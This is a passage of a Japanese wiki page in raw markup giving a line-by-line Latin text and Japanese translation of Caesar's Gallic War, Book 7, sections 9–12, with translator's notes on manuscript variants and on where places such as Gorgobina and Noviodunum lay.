**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　[[ガリア戦記/注解編/写本と校訂版#写本の系図|&amp;alpha;系写本]]のうち、&amp;chi;系･M･B･S写本などでは [[wikt:en:videret|videret]] [[wikt:en:positus#Latin|positum]] esse 、&lt;br&gt;　　　　　&amp;alpha;系写本のうち、写本M･L･Nなどでは [[wikt:en:videretur|videretur]] positum esse 、&lt;br&gt;　　　　　&amp;beta;系写本では、positum videret となっている。）&lt;/span&gt;
*si [[wikt:en:mature#Adverb|maturius]] ex [[wikt:en:hiberna#Noun|hibernis]] [[wikt:en:educeret|educeret]], 
**もし、尚早に冬営地から&lt;small&gt;（諸軍団を）&lt;/small&gt;進発させれば、
*ne ab re [[wikt:en:frumentarius#Latin|frumentaria]] [[wikt:en:durus#Latin|duris]] [[wikt:en:subvectio#Latin|subvectionibus]] [[wikt:en:laboraret|laboraret]]. 
**&lt;small&gt;（降雪時期の）&lt;/small&gt;糧秣供給の厄介な輸送によって苦労するのではないか？
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Praestare&lt;/u&gt; [[wikt:en:visus#Participle|visum]] est tamen omnes [[wikt:en:difficultas#Latin|difficultates]] [[wikt:en:perpeti#Verb|perpeti]], 
**しかしながら、あらゆる困難に耐えることの方が&lt;u&gt;優っている&lt;/u&gt;ように見える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～が優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:tantus#Latin|tanta]] [[wikt:en:contumelia#Latin|contumelia]] [[wikt:en:acceptus#Latin|accepta]] omnium suorum [[wikt:en:voluntas#Latin|voluntates]] [[wikt:en:alienare#Latin|alienare]]. 
**これほどの恥辱を受けて、配下の皆の意欲を遠ざけてしまう&lt;u&gt;よりは&lt;/u&gt;。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque [[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]] de [[wikt:en:supportandus#Latin|supportando]] [[wikt:en:commeatus#Noun|commeatu]], 
**こうして、&lt;small&gt;（カエサルは）&lt;/small&gt;ハエドゥイー族に軍需物資の輸送について、激励して、
*[[wikt:en:praemittit|praemittit]] ad [[wikt:en:Boii#Latin|Boios]], qui de suo [[wikt:en:adventus#Latin|adventu]] [[wikt:en:doceant|doceant]] 
**[[w:ボイイ族|ボイイー族]]のもとへ、&lt;small&gt;（カエサル）&lt;/small&gt;自らの到着について知らせるための者たちを先遣して、
*[[wikt:en:hortentur|hortentur]]&lt;nowiki&gt;que&lt;/nowiki&gt; ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]] atque hostium [[wikt:en:impetus#Latin|impetum]] magno animo [[wikt:en:sustineant|sustineant]]. 
**&lt;small&gt;（カエサルへの）&lt;/small&gt;信義に留まって、敵たちの襲撃に大いなる決意をもって持ちこたえるように、と激励させた。
[[画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。]]
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
